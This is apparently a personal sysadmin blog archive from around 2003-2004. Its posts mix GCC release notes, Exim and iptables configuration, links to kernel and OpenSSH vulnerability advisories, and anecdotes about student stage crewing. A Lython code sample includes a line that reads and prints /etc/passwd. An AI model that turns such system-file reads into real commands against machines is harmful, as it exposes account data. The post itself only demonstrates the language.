  A precompiled header can't be used once the first C token is seen. You can have preprocessor directives before a precompiled header; you can even include a precompiled header from inside another header, so long as there are no C tokens before the @code{#include}.

  The precompiled header file must be produced by the same compiler version and configuration as the current compilation is using. The easiest way to guarantee this is to use the same compiler binary for creating and using precompiled headers.

  Any macros defined before the precompiled header (including with @option{-D}) must either be defined in the same way as when the precompiled header was generated, or must not affect the precompiled header, which usually means that the they don't appear in the precompiled header at all.

  Next up, several GCCisms have been removed. This is a shame as I've been known to use the first two of these in some code (that, frankly, wasn't portable anyway).

  • cast-as-lvalue: (char) i = 5;
  • conditional-expression-as-lvalue: (a ? b : c) = 2;
  • compound-expression-as-lvalue: (a, b) = 2;

  (maybe the C standard will include these someday. Unfortunately, the GCC people don't give a rational for removing them.)

  We also have a new unit-at-a-time compilation system for C. This allows inter-procedural optimisations. This is mostly useful for optimising static functions as GCC can now change the calling-convention for these and so forth.

  And we have make profiledbootstrap which uses the profile-feedback code from 3.3 (which is much improved in 3.4) when building the compiler. GCC claims "an 11% speedup on -O0 and a 7.5% speedup on -O2" (i386, building C++).

  Now, the question is, am I brave enough to run a snapshot? Probably not I'm afraid.

  Someone makes an obvious ...

  Someone makes an obvious discovery about Bayesian filtering the very long way round and it warrents a BBC News article. Geeze. No wonder these worms find enough stupidity to spread.

  Update: Yes, I know it's the POPFile author. Doesn't mean that he's not being an idoit. He could just have opened the Bayesian db to check which words had a high positive value. Probably the BBC journalist had something to do with the crapness however.

  Christ, it's been a long ...

  Christ, it's been a long few days. I haven't even seenn one of my house mates since Tuesday and, if she didn't leave washing up to be done, I wouldn't even know if she were alive.

  So, Wednesday was band night in dB's. Sound teching again, but this time with ear defenders which work really well. The control position in dB's is about 5 meters from a speaker stack that is pointed straight at you and it's nice not to be deaf afterwards.

  Thursday was East Meets West, the Indian Society variety show. Gary has a fairly long post about it. Turns out that they has no stage crew and were just praying that it would work out or something. Either that or they expected stuff to shuffle into place on its own. So, with a couple of hours notice and a couple of phone calls we got 4 Dramsoc people to run the stage.

  And I would like to point out that we were flawless. Even though we usually found out about a scene change about 5 minutes before it happened. Some people may complain that we missed a chair, but 13 were counted on, 13 people were on stage and they were one short. Fourteen were counted off. Go figure.

  They overran and were kicked off at about midnight. The strike only took about one and a half hours because they got away with having parcan bars and there was no lift involved. Usually when striking we have to break everything down into lift-sized chunks which takes ages. Though I didn't really grasp exactly how much of a pain this was until now.

  Last night was ChiSoc. This show was going to be an utter shambles from the start. Organisation seems be an alien concept here. They overran by about three hours because all their scene changes took 10 minutes or so.

  It's not that they were big scene changes at all, but it took 10 minutes to figure who was going on next. All this was sorted about by shouting a lot of shouting in (I believe) Cantonese over the comms.

  They also shouted "Fire!" a lot when talking. I didn't figure out what this meant to them.

  And it seems that they killed one radio mic, has no stewards and thought the powerloc distro (415V, 600 amps) was a good place to keep bottles of water.

  At least I'll never have ...

  At least I'll never have the chance to fuckup this badly. (You hope!)

  Oh, and via /., Joel has written an article on writing resumes. And this is a few weeks after I submitted mine to him! (Not kidding, he's writing about submissions including mine.)

  And while I'm ranting...

  I was pleasantly surprised to come across a stall giving away free cups of instant coffee today. Instant coffee manufacturers are always welcome to solicit my custom with free stuff seeing as how I've never purchased instant coffee in my life and don't intend to.

  (As far as I'm concerned, coffee exists primarily for its caffeine content and is best expressed as an expresso. Good tasting coffee is rare and never found as a cup of anything that started out looking like powdered turd.)

  As I was sipping the free cup of tongue crematingly hot sludge my eyes slipped down to the sign advertising free decaffeinated coffee.

  It goes without saying that it went into the bin with my hand following a smooth arc after an aborted initial motion towards my mouth.

  How can there be enough flavor flummoxed fools on the planet buying this ungodly example of utterly missing the point, to make a market for decaffeinated coffee?

  An open letter to Stephen Fry:

  Dear Mr Fry,

  The command of language and humor, demonstrated in your book, is almost flawless.

  However, I must protest that the book would be immeasurably improved by omitting the entire chapter given to graphically describing a small child fucking a horse.

  Thank you

  Next week, (more for my r...

  Next week, (more for my reference than anything else)

  • Monday: Get Summer Ball sponsorship pack together
  • Tuesday: Lecture (e.g. I'm giving one) at 1pm, Hux308
  • Wednesday: Sound teching for the band night in the Union
  • Thursday: East meets West strike
  • Friday: Chisoc

  I've put the source to th...

  I've put the source to the suexec code which runs the Union server here

  And, before I forget, here's a patch for PHP 4.3.4 which fixes permissions on uploaded files in sticky dirs (or dirs with ACLs in my case).

  And I knocked together Kiss or Miss for the College RAG (charity fundrasing) week, last night. Still needing a little work. The idea is that people can donate to get their score bumped up

  Back in contact with the ...

  Back in contact with the world again... photos from Friday night. Listening to: Cats, reading: The Hippopotamus.

  And talking of cats, we got a leaflet through the door from the local vets saying "Have you seen Humphrey, our practice cat?". Wouldn't it suck to be a vet's practice cat? Any time someone's unsure how to do something - you get it. Imagine being neutered .. repeatedly

  The program for CodeCon 2...

  The program for CodeCon 2004 is up.

  Can I suggest that the 10...

  Can I suggest that the 100 most often misspelt English words[via Keith] are, in fact, misspelt in the dictionary and that if a word is commonly misspelt then it reflects badly on the word, not the people?

  Phew. The union server up...

  Phew. The union server upgrade kind-of went to plan. Would have gone more smoothly if I had known the correct default gateway. However, one thing really did mess me up: MySQL.

  If you remember just never to use the minus charactor in the name of anything mysqlish, then it's a good little database. But if you do, oh dear. I've filed several bugs about this and the MySQL developers are arguing about how valid the minus sign is, the code certainly has no idea.

  mysqldump generally gets quoting correct - except when it comes to the minus charactor at which point CREATE TABLE stops working. Now, when you're importing hundreds of tables you don't see the little error message shoot by with all the status messages (even in `quite' mode). But it turns out that you need to add the --quote-names option to the dump in order for it to do CREATE TABLE correctly. Which is a huge bodge to start off with, because (almost) everything else works fine.

  But wait until you get a minus sign in a database name. Now, not only does it not restore the database correctly, it actually errors on the USE statement and goes spewing tables into other databases. And even if you quote the database names, MySQL still can't handle it. At this point I just changed minus to underscore and said bugger it.

  Also, openssh 3.7 and onwards can't to PAM support correctly, so I'm sticking to 3.6.1 for now.

  While I'm posting I might...

  While I'm posting I might as well point out this link via Wes to a PDF on the marks on euro notes that machines recognise as bank notes. That's another great piece of work by Markus Kuhn.

  Spent all day configuring...

  Spent all day configuring the new mail servers at DoC. Some useful Exim snippets for future reference are below.

  Oh, and someone dug through a very important London backbone fibre this morning which took IV off the face of the net.

  This weekend is going to involve a few trial runs of the Union webserver move that I'm doing on Monday for real.

  Virtual hosting

  domainlist local_domains = @ : cdb;VHOSTCONFIG

  # Vhost routing
  vhost_aliases:
    driver = redirect
    allow_fail
    allow_defer
    domains = cdb;VHOSTCONFIG
    data = ${lookup{$local_part}nwildlsearch{${lookup{$domain}cdb{VHOSTCONFIG}}}}
    file_transport = address_file
    pipe_transport = address_pipe
    no_more

  Spam Checking with spamd

  spamcheck_router:
    driver = accept
    # ! already spam AND ! already scanned AND from offsite AND !SMTP AUTHed
    condition = "${if and { {!def:authenticated_id} {!def:h_X-Spam-Flag:} {!eq {$received_protocol}{spam-scanned}} {!eq {$received_protocol}{local}} {!match{$sender_host_address}{^(146\.169\.|155\.198\.4\.76)}} } {1}{0}}"
    transport = spamcheck
    no_verify

  ## Spam Assassin
  spamcheck:
      driver = pipe
      command = /usr/sbin/exim -i -oMr spam-scanned -f "${if eq {${sender_address}}{} {mailer-daemon} {${sender_address}} }" -- ${local_part}
      transport_filter = /usr/bin/spamc
      home_directory = "/tmp"
      current_directory = "/tmp"
      # must use a privileged user to set $received_protocol on the way back in!
      user = exim
      group = exim
      log_output = true
      return_fail_output = true

  SMTP AUTH over TLS using Kerberos via PAM

  # SMTP AUTH Settings (see also Authenticators at the bottom)
  
  auth_advertise_hosts = *
  received_header_text = "Received: ${if def:sender_fullhost {from ${sender_fullhost} ${if def:sender_ident {(${sender_ident})}}} {${if def:sender_ident {from ${sender_ident} }}}} \n\t by ${primary_hostname} ${if def:received_protocol {with ${received_protocol}}} \n\t ${if def:tls_cipher {(tls_cipher ${tls_cipher})}} ${if def:tls_peerdn {(tls_peerdn ${tls_peerdn})}} (Exim ${version_number} ${compile_number} (DoC)) \n\t id ${message_id} ${if def:authenticated_id { \n\t from user $authenticated_id}}"

  plain:
    driver = plaintext
    public_name = PLAIN
    server_condition = ${if pam{$2:${sg{$3}{:}{::}}}{yes}{no}}
    server_set_id = $2
  #  server_advertise_condition = ${if eq{$tls_cipher}{}{no}{yes}}
  
  login:
    driver = plaintext
    public_name = LOGIN
    server_prompts = "Username:: : Password::"
    server_condition = ${if pam{$1:${sg{$2}{:}{::}}}{yes}{no}}
    server_set_id = $1
  #  server_advertise_condition = ${if eq{$tls_cipher}{}{no}{yes}}

  IV now sports a brand new...

  IV now sports a brand new "JanieBox" at the top right (or possibly somewhere random if your browser doesn't do CSS very well).

  I'm getting the data from here (or more specifically from here). I've probably got the code wrong, but if you want to point it out to me the code is here

  Oh, and it's doing the US Dollar to British Pound exchange rate, for those who hadn't guessed.

  New kernel local root problem

  Hitting all current (inc 2.6) kernels. Get 2.4.24

  http://isec.pl/vulnerabilities/isec-0013-mremap.txt

  I read three [1, 2, 3 all...

  I read three [1, 2, 3 all via IP, via Keith] very good essays by Michael Crichton this morning. Now Crichton has written a couple [1, 2] of fairly noddy books recently. They weren't bad, but I couldn't help thinking that they had been written in order to become a film script (worked for one of them).

  But his essays are top-notch (and is DDT seriously not carcinogenic?). I have to be a little concerned about number three because, although I know many moronic environmentalists, I have to wonder if things wouldn't be a lot worse without them. Painful as it is to say. But they really cheered me up in contrast to all the "They did what? The morons" stories.

  This could be a Stage Sca...

  This could be a Stage Scan with a light on, right?

  

  I know the real thing isn't translucent like that, but it makes things clearer in the visualizer.

  (p.s. If you're not a member of Dramsoc you probably don't understand this post)

  Pinging

  Lython [via LtU] is a Lisp like frontend onto Python. Now I've been meaning to write one of these for sometime, good that someone has at last. For example:

  # -*- lisp -*-
  
  (def foo (a)
       (print "one")
       (print "two")
       (* a 5))
  
  (def bar (b c)
       (* b c))
  
  (def cat (file)
       (:= f (open file))
       (f.read))
  
  (print (foo "test"))
  (print (bar 5  5))
  (print (cat "/etc/passwd"))

  (and, yes, it can do simple macros)

  Firstly, the Clueless Anti-Whitespace Morons might be a little happier but that's unimportant. Mainly Lython has the ability to become the standard Lisp-like-language that Lisp has needed for a long time. As much as ANSI Common Lisp is a good (if huge) standard it still leaves far too much platform specific stuff undefined. The kind of stuff that makes code actually useful. And Lython has all the Python libraries to draw upon.

  Now Python just needs to get it's basic language features working. Even in 2.3 this still doesn't work:

  def a(x):
    x = 0
    def b():
      x += 1
      return x
    return b

  Since Keith requested it, my build script now pings blo.gs. Due to the (cack-handed) nature of the way I do things it might `bounce' a little (e.g. update more than once for a single update) but blo.gs already seems to dampen that.

  Ah, you've got to love th...

  Ah, you've got to love the post-Christmas sales. In fact, I'm loving them to the tune of:

  • A pair of Mission M71i's
  • A Cambridge A5 amp
  • Aureon Sky (soundcard)

  The soundcard is a little odd, but it's got the best audio quality of anything in its range that I could find a review for.

  And god it sounds good. Only slight problem - I've had to remove most of the 128Kbs (and below) mp3s from my playlist. Use FLAC people!

  Well, the Xmas carnival p...

  Well, the Xmas carnival passed off ok. I lasted about 22 hours before sitting comatose in the bar. I must be getting old, I've done better than that before. (Then again, Gary's really old an he managed ok ). Link to photos will happen at some point.

  The Artistic License box to control the MAC600 worked fine, though we ran it off the Pearl in the end. I need to write a better control interface (e.g. one that doesn't require you to input a seq of funcs for each of pan, tilt and color). To that end, PyGTK, glade and PyGtkGLExt work really well.

  I'm off home today as well. Yay Xmas break.

  (In other news; can you possibly think of anything worse than Slashdot Singles?. And I'm not kidding, OSDN is really running this complete with "First emails: What to say".)

  Snippets

  I like Artistic Licence a lot. Partly because they make some really cool stuff, but mostly because they sent me one of these for free.

  (Yes, you too can get a positive mention on IV by sending me free hardware)

  One of those, for people who don't know and can't understand the link, is an Art-Net to DMX converter. DMX is the serial protocol used for controling stage and event lighting and so I can now control this from a Python script.

  So I'm frantically coding in whatever free time slots I can find so that I can use it to control a pair of MAC 600s on Friday.

  Of course, like all good tasks, I don't get to test it until until the day of the event.

  And on the frontpage of the manual, it reads:

  This product is for professional use only. It is not for household use. This product presents risks of lethal or severe injury due to fire and heat, electric shock, ultraviolet radiation, lamp explosion and fall.

  

  While I'm thinking about it, a couple of Python snippets that I'm always looking for.

  Dumping an exception is:

  try:
      ...
  except:
      traceback.print_exc ()

  And running an interactive console looks like:

  import threading
  import rlcompleter
  import readline
  
  readline.parse_and_bind("tab: complete")
  
  glock = threading.Lock ()
  input_has_glock = 0
  exit_event = threading.Event ()
  
  def worker_thread ():
  	# lock glock when running
  
  if __name__ == "__main__":
          import __main__
          worker = threading.Thread (target = worker_thread)
          worker.start ()
          c = code.InteractiveConsole (locals=__main__.__dict__)
          c.raw_input = locking_raw_input
          c.interact ("Starting interactive control...")

  My life:Last night: Setup...

  My life:

  • Last night: Setup for Streetcar. Goto Union Staff party. Start striking Streetcar. Take the money down to DPFS and get locked out of the rest of the strike. Goto Cav's with Ash and Harriet. Go back to Beit to pack away their Xmas party.
  • Today: Sleep and work on all the coursework due in this week
  • Monday: Normal day at Uni. Talk to Malcomb about Summer Ball venues. Work all evening to get coursework finished.
  • Tuesday: Normal day at uni. Setup mics for Council. Dramsoc bar night. Have to decided which parts of the all nighter I can manage.
  • Wednesday: 9am - LotR. 2pm - setup for Rock night at the Union; goes on until late then we strike it.
  • Thursday: Normal day at Uni. Rig and point parcan's on the roof in the evening.
  • Friday: 7am - goto Stage with Gary to pickup lights. Rig, run and strike the Xmas Carnival. Probably a 24 hour shift.

  Fleep...

  Fleep

  So, Bush wants to go to t...

  So, Bush wants to go to the moon again. At least, he wants to announce it during his last year to try and boost his popularity before the election. He's already screwed the economy by borrowing huge amounts to fund tax cuts and a couple of semi-major wars. This is what happens when you put a monkey in charge.

  When dear old dad proposed the same thing, Congress estimated that it would cost $400 billion. I think we can safely say that it would actually cost a fair bit more than that. And for what? The first lunar missions were basically a world-wide moonie at the USSR. Certainly, it did wonders for technology, but given the price, I would certainly hope so.

  But what's the point this time? There's no USSR and we've done it all before. Go do something useful like asteroid mining instead.

  Panic, everyone upgrade r...

  Panic, everyone upgrade rsync to 2.5.7

  The number of recent atta...

  The number of recent attacks against infrastructure is getting worrying. Within the past few weeks we have had an attack on the kernel sources, on the Debian core servers and, today, on a Gentoo rsync rotation server and Savannah.

  Savannah and Debian breaks look identical. The CVS attack, we don't know about and I'm thinking that the Gentoo break was unrelated because they didn't go after the obvious spoils. I'm still very interrested to know what the "remote exploit" was.

  It's still greatly worrying that someone determined and smart is going after important boxes like these. And I do mean smart - watching the BK changesets for a fix and then making a binary from the do_brk overflow isn't script kiddie stuff.

  Backup solution

  Random thoughts of the day...

  Register a domain name and point it somewhere silly like 1.1.1.1. Make a tarball of your most important files and encrypt it. Then, once a day, email it to a user at that domainname. If you have a disk failure just wait a couple of days and all your files get bounced back to you

  Torture

  Most people would agree that torturing a conscious being is bad. Most of them would say that it's criminal and that you should be locked up for it. But what's is a conscious being? At least, if it's biological and can pass the Turing Test, is that good enough?

  So now imagine how your best friend doing a Turing Test. By definition your mental representation of them passes the Turing Test because if you would expect different answers then you just aren't thinking hard enough. So your mental representation is conscious.

  So now imagine torturing them. Should you be thrown in jail?

  Guardian Digital

  The Guardian Online has been my favourite online paper for a long time. I find that it, balanced against Samizdata is best.

  But now, the Guardian is beta-testing a new service. It has both the Guardian and its sister paper, the Observer, and you can select any page from any section of the print editions and get a thumbnail view. Clicking on a story brings up the text of that story. Clicking a picture (even an advert) brings up that advert and you can get PDFs of any page. And you can go back in time to see old editions.

  This is such a gob-smackingly cool service I might even start paying for it when it leaves beta phase.

  Well, it's really peeing ...

  Well, it's really peeing it down with rain and has been all weekend. It's quite nice to look out on the rain when you're inside, but its enough to make me not want to bother going to the supermarket so I'll probably be eating weird combinations of whatever I can find over the next week.

  Things that I need to do:

  Get the new Union webserver racked up. And when I racked up, I mean in the very loosest sense as this is a desktop mini-tower that will be sitting on a rack plate.

  I then need to try and convert the users. No amount of warning is going to work for most of them and I fully expect to be snowed under with dozens of "But why shouldn't I use the account of someone who left years ago, like I always have?", "Why can't I upload gigs of warez and use the server as a distro for all my friends?" and "Your computer has broken because this has stopped working and I'm perfect and cannot possibly be doing anything wrong".

  Get the RS232 protocol to the crossovers working. The docs say that they can be daisy chained, but as far as I know they only have a single connector. I'm not sure of the electrical problems if I split the cable. And I've got to reverse engineer the undocumented bits of the protocol.

  For Zooko...

  ... if you email me to say that your mail is down you really should include a phone number or some such. Some non-email way of contacting you at least!

  I'm afriad that mail.imperialviolet.org doesn't point at anything any more. It's not a hard bounce, so mail won't fail because of it, but the server doesn't exist anymore. If you need a backup-MX I can set it up on my current mail server (a.mx.freenetproject.org).

  Dear Mr Stephenson...

  ... I'm not totally sure that the term "cluster-fuck" was in common usage in England in 1685. (Quicksilver, page 702).

  (Actually, it's a really good book. That's the first complaint I've had)

  "Wave of human spam" - ph...

  "Wave of human spam" - phrase of the week from this fantastic text. I mean, one of them seriously has a sign saying "The Illuminati must be destroyed".

  

  What a difference an edit...

  What a difference an editor makes eh? All that not wanting to upset people and so forth . Well, here's the original...

  What would you do if you organised a protest and no one turned up? Well the Stop Bush Campaign are finding out at the moment. Despite getting over 100 hundred people willing to sign a petition asking the Union to express that the views of the entire student body were against Bush, only 16 of them were seemingly willing to express those views themselves today.

  Somewhat more were willing to brave the heated comforts of the MDH last night for the self-styled `People's AGM'. In the aforementioned meeting 32 people turned up and most of the meeting was spent trying to decide whether to protest against Bush, or against Bush and the Union. What's a protestor to do with all that pent up frustration and so much to protest about? The decision, rather unsurprisingly, was to protest against both. Also planned was a sleep-in protest, however our dedicated freedom fighters seemingly forgot their sleeping bags (despite reminders on their own posters). Maybe they value their oil-powered creature comforts too highly?

  The rather lack-lustre protest observed today from the lofty heights of Beit Towers consisted of 16 rather cold looking people and a megaphone meandering into the quad for 60 seconds before vanishing up the south steps of the Royal Albert Hall and onto Hyde Park. Of course the Union officers who were the partial target of this protest were, rather rudely, all away at Wye for the day.

  So, that was worth the days of standing on the walkway thrusting slices of pulped, dead tree at people who really don't care, wasn't it?

  (note, I'm not pro-Bush. I'm just very anti most anti-Bush protesters. My enemy's enemy is not my friend.

  Remebered to renew domain...

  Remebered to renew domain name with 3 hours to go.

  Hell, at least it's better than Microsoft with hotmail.co.uk

  Crush Games

  This new MP isn't very good at replying to letters. The last one at least wrote something back.

  (prompted, of course, by today's ID card announcement)

  I meant to post this a while ago. It's an extract of an email I sent. Firstly you'll need a little background: someone setup a website for registering `crushes' (I guess it goes around like those quiz things) and then opened up the database for a while before having a pang of consience and closing it again. First I hear was spikeylady complaining:

  but am most unimpressed that I can't now find out if anyone had a crush on me

  Actually, that's a really interesting game problem. You want to know about all incoming arcs (people who have a crush on you) but are unwilling to disclose any outgoing arcs (people who have a crush on you). Except I guess that you are willing to disclose if you are sure the other party has a crush on you.

  I didn't see the "crush thing", but I'm guess you could register your crushes on other people and it would tell you about any two node cycles (e.g. if they also fancied you). Of course, you could just falsely register everyone and find out exactly who has a crush on you. You've not given any information away because you picked the trivial subset. Of course, anyone else can do that so your number of false positives goes up as more people choose this strategy. So pretty soon any kind of service is like that is going to be useless.

  (esp if they start publishing the results)

  Which reminds me of one of the answers to the two-party signature problem (you have a contract that two people need to sign. Neither will sign first so they take turns saying "With 1% probability I agree to this", "With 2%" ... and so on).

  Assume a fully connected, directed graph of all the people in the set of interest. Each person assigns a probability is crush to each outgoing node and at each time slice that is the probability that you'll `ping' the other node.

  Pings will be pretty random and you might see a higher than average number of pings from a given node. It could be random, but it could be that they have assigned a higher probability to you. If you crush on them, you can assign a higher probability and see if they respond. That way, pairs of crushers will rise out of the mess and noone has to disclose a non-reciprocated crush.

  A little like flirting, but could be made so that noone else sees any of the interactions by blinding the pings.

  Matrix Revolutions

  Well, it seems to be Matrix-bashing day to day. Well, I was watching it at 2pm GMT today and I really enjoyed it. It's certainly not the best film this year (Sprited Away) and the story is a pile of crap, but it's damm fun.

  If I had been writing the script, it could have been better of course. (Ah, I wonder how many people are saying that). But the Battle of Zion is worth the ticket price alone.

  Birthday!

  Since I don't do it nearly enough these days (being a poor, destitute student and all) I walked into a large bookshop today with a few notes in my back pocket and came out with a nice lot of dead tree, including:

  • Quicksilver
  • Information, Hans Christian von Baeyer (no link)
  • Permutation City
  • Master and Margarita

  Reviews as I finish them. (Could be a while).

  Bastards!. Don't they kno...

  Bastards!. Don't they know how much effort by .. unknown persons .. goes into doing something like that? Or so I've heard, of course.

  So what, exactly, has the...

  So what, exactly, has the Whitehouse got against people archiving their pages about Iraq?

  Quoting from http://whitehouse.gov/robots.txt:

  Disallow:       /vicepresident/vpphotoessay/cheneyalumnifield/iraq
  Disallow:       /vicepresident/vpphotoessay/cheneyalumnifield/text
  Disallow:       /vicepresident/vpphotoessay/iraq
  Disallow:       /vicepresident/vpphotoessay/part1/iraq
  Disallow:       /vicepresident/vpphotoessay/part1/text
  Disallow:       /vicepresident/vpphotoessay/part2/iraq
  Disallow:       /vicepresident/vpphotoessay/part2/text

  It goes on for a long time like that.

  Just written some notes o...

  Just written some notes on the DoC webserver setup. Just so that people can see what goes into a complex Apache setup. And this isn't even factoring in all the research groups and Tomcat servers.

  Look at that timestamp. D...

  Look at that timestamp. Damm timezone differences for the Google Codejam.

  Don't quite think I've made it to the top 250. Read that last sentence in a slightly sarcastic tone. I just hope that I'm not last.

  It seems that not only cannot I not type very well at this time in the morning, I can't read either.

  Things I found out today

  Tristan pointed out that most of the images linked to below where, in fact, all the same. My mouse skills were obviously on the blink at that moment. The links have now been fixed.

  Linux 2.6 has real per user accounting:

  struct user_struct {
          atomic_t __count;       /* reference count */
          atomic_t processes;     /* How many processes does this user have? */
          atomic_t files;         /* How many open files does this user have? */
  
          /* Hash table maintenance information */
          struct list_head uidhash_list;
          uid_t uid;
  };
  

  This means that process and open files limits apply across the whole system, not per session like they used to. It also means that if a setuid call would cause the resource limit to be exceeded then it returns EAGAIN

  Also, Apache 1.3.28 has a known bug with CGI handling and SuEXEC which means it leaves zombies all over the place (offical patch released). Guess how this and the above conspired to bite me today.

  Apache 1.3 cannot proxy SSL requests. But Apache 2 can, and it can cache the results. It also supports SCTP for those who know/care what that is.

  Also, despite fluffing the second question it looks like I might have made the top 500 cut in the GoogleJam

  And slashdot has just published this story about how the FTAA treaty is going to ratchet up IP laws again. But for once the UK isn't part of it.

  Another letter to my MP, ...

  Another letter to my MP, this time on software patents.

  God doesn't work. "it puts God to the test - and there are clear instructions in the Bible not to do this" - well designed meme wasn't it? Poor deluded sods.

  Google Code Jam

  Great picture: Found Nemo

  The film is not fantastic, but a good way to spend a couple of hours.

  A while ago Google announced the Google CodeJam which is basically another coding competition. This one is a little different to anything else I've done because it's a sit at home competition. This presents some advantages; it's most comfortable and you get a vim working the way you want. It also means there is a lot of scope for cheating.

  Once you look at the first problem you have 60 minutes to submit solutions. You can only submit once, but they do have a reasonable testing framework.

  The score you get for a problem is based on how long you take to submit it. Once the coding phase (this weekend) is over they go and test the programs and anything that fails a test is discounted.

  The top 500 go onto the next round.

  It's obvious that a single user could in fact be a team of coders working on the problem. It's also quite possible to be many users and to read the questions well ahead of your `time' starting. The latter problem is slightly resolved because there are 10 sets of questions. But that just increases the work needed by a factor of 10 and creating 11 users isn't a lot of work.

  Personally I didn't understand what the hell the second problem was asking and, looking back on it, I still don't. And the second problem is worth 80% of the marks so I've failed this one. Maybe they will run it next year.

  C&G Ball

  In crewing news - the City and Guilds Ball went very well even if I did get home at 7am the following morning and the punters arrived 3 hours before we were expecting them.

  • Mac 500
  • Folding truss
  • and yea, there were people there was well as our lights
  • The crew (including me)
  • Me asleep
  • Mark - Extreme closeup
  Webserver for User CGI

  Running CGI scripts for users on your webserver is a dangerous game. Not only do users test their runaway fork-bombing scripts but they also install known buggy versions of phpBB and the like and let your webserver get compromised.

  And even if they cannot get root, crackers can use your >1Gps of bandwidth to turn your poor webserver into the central warez site for the whole of Europe over the weekend. I know. It's happened to us.

  And so, tweetypie is born. The first thing to do is get rid of modphp and force all users to run php via the CGI binary and build Apache with SuEXEC support.

  User may complain about not having modphp, but just slap them with rack rails until they go away. Then install this patch which sets resource limits on all CGI scripts and configure iptables to block all outgoing non-system packets:

  *filter
  :INPUT ACCEPT [89251:15855936]
  :FORWARD ACCEPT [0:0]
  :OUTPUT ACCEPT [85660:11402157]
  -A OUTPUT -d 146.169.1.1 -p udp -m udp --dport 53 -j ACCEPT 
  -A OUTPUT -d 146.169.1.24 -p udp -m udp --dport 53 -j ACCEPT 
  -A OUTPUT -d 146.169.1.189 -p tcp -m tcp --dport 5432 -j ACCEPT 
  -A OUTPUT -m owner --uid-owner sshd -j ACCEPT 
  -A OUTPUT -m owner --uid-owner wwwnot -j ACCEPT 
  -A OUTPUT -m owner --uid-owner root -j ACCEPT 
  -A OUTPUT -m owner !--uid-owner root -j DROP 
  COMMIT

  Then setup 2000 bind mounts to work around a race condition in the kernel (you almost certainly don't have the kind of load that would trigger this - so you can ignore it) and voila!

  Simple eh?

  Diebold are making a mess...

  Diebold are making a mess about their memos being published and are C&Ding lots of websites.

  So go mirror them

  Busy..

  Within two weeks...

  Server	Function	Fuckup
  Heron	Primary webserver	Well, this was an emergency move after a hardware failure of the old server. Unfortunately, we forgot some stuff and someone rooted it via phpBB and sudo. So another emergency move (3 hours last Sunday night) onto a new server which we will enable CGI on when we feel ready. (It's roughly the same as running a public access shell server).
  Chukar	Online Backup server	RAID controller decided it was a good day to die. Emergency move to an unused server promptly killed it and after a second move it seems ok
  Faya	Research group server	Multiple disk failure. Scrape remains off and replace
  Parakeet	Syslog and secure console server	Primary disk failure. Scrape remains off and replace.

  And Merlin (major fileserver) froze solid today and needed a SysRq-B. I think we should ask physics dept what experiments that started doing about two weeks ago.

  One top of that, every spare moment has been spent running Fresher's Week at the union. [photos]

  Well, it's a new year at ...

  Well, it's a new year at Imperial and that means a whole new lot of freshers and lots of people saying "God. I hope we weren't that clueless and dumb last year" (us) and "I feel ill" (them, drunk).

  Hopefully photos of the freshers welcoming party will be up soon. That took the last 3 days of setting up but seemed to go down pretty well. The rest of the week involves shuffling equipment around for all the other fresher events as they happen.

  Early this morning I actually managed to get to sleep on a sofa, on a stage, in the middle of the concert hall which was empty except for lots of intelligent lights, a really good drum-n-bass DJ and two huge speaker stacks giving 10kW's of sonic goodness.

  Hmm, what else.. oh yea; Practical Cryptography is good. All crypto coders should probably have it on their shelfs. I've got a 7/2 split of courses over the next two terms (so I'm going to get buggered silly this term and be going to be going to random other lectures again next term for something to do).

  Thanks to Polly for point...

  Thanks to Polly for pointing that I'm that I'm in New Scientist again.

  Just written a new letter...

  Just written a new letter to my MP about ID cards in the UK.

  Ok, so I haven't posted a...

  Ok, so I haven't posted anything here for quite a while and I'm still feeling too lazy to write anything so I'm going to post an edited version of an email I've just send because it saves me doing any work .

  I've just got ADSL working in my new flat and the ADSL modem is so a Linux box with a silly menu system on the front. But it works, even if I'm a little afraid that the 50:1 contention is going to bite once all the students in this area manage to get it going.

  Term starts at the end of next week (or this week, depending on when you consider the week to start) and so I've quite a lot of rigging to do before Saturday. (That's rigging in the sense of setting up stuff like this

  (Typing this over ssh while emerging. I think I need to look at the QoS settings of this modem.)

  I'm also the union server admin (FreeBSD) as of Wednesday and every society on Earth (seemingly) has suddenly realised that they need to update their webpage for the new year and can anyone remember the password? Can they buggery.

  At least I'm giving them random passwords this year without the ability to change them, so there's no chance that they'll forget to write them down somewhere really stupid and obvious, thus saving me this problem next year.

  And are there any new phd or staff boxes installed and ready? And are we really going to have the 25 new Apple dual-proc G5s (which arrived yesterday, weeks late) done and deployed by the end of the week? And am I going to have to install my automounter on every box that I actually want to use because autofs and amd are such piles of crap? And do I really think that just because my summer job ended yesterday that I'm not going to be pulling 12 hour days all next week in the department and at the union to get things ready?

  Fun, fun, fun! :)

  Well, updates to the Veri...

  Well, updates to the Verisign countermeasures page are continuting apace. Thankfully it seems that ICANN and IAB are now applying political pressure to the problem.

  New release of Bane. Nothing but a few bug fixes, but it seems stable (been running for 13 days here at least).

  Also, I've released Conserv and Figures source code. If anyone actually wants to use either of them, just drop me an email (link at the top of the page) and it might motivate me to write some actual documentation

  OpenSSH exploit

  OpenSSH exploit

  • http://isc.sans.org/diary.html?date=2003-09-16
  • http://slashdot.org/articles/03/09/16/1327248.shtml?tid=126&tid=172

  Just written a program to...

  Just written a program to fix Verisign dumbness here

  Update: That page also contains patches for BIND and djbdns as well now (those are not my code, however)

  The missing files problem...

  The missing files problem turned out to be a Mandrake rc.sysinit fault. The moral of the story is fsck has a "reboot computer" return code. Respect it.

  And this is a little bit freaky. (from JWZ):

  Aoccdrnig to rscheearch at Cmabrigde Uinervtisy, it deosn't mttaer in waht oredr the ltteers in a wrod are, the olny iprmoetnt tihng is taht the frist and lsat ltteer be at the rghit pclae. The rset can be a total mses and you can sitll raed it wouthit a porbelm. Tihs is bcuseae the huamn mnid deos not raed ervey lteter by istlef, but the wrod as a wlohe.

  New Chicane album out tomorrow. I've already heard a bit part of it at their live consort and this will the be the first albulm in a long while that I've actually been looking forward to.

  RIP amendment is back

  RIP amendment is back

  I've got permission to public domain everything that I've coded over the summer, which I shall be doing soon(ish). But for the moment I've got ext3 filesystems that are loosing files after a SysRq-Unmount. And I'm not talking about files that were open at the time, I'm talking about gcc and core libraries. So I need to find out what is causing that.

  Intel 8086:24d5 Soundcards

  If you have one of these, upgrade alsa-libs to 0.9.6 and get the CVS versions of both alsa-kernel and alsa-drivers and put kernel in drivers as a subdirectory. Build everything and then it will pretty much work, but only in OSS compatibility mode.

  Flat panel color separation

  If you get color sepation on your flat panel when using programs that do subpixel antialiasing (such as this Mozilla build) then put something like this into /etc/fonts/fonts.conf

  <match target="font">
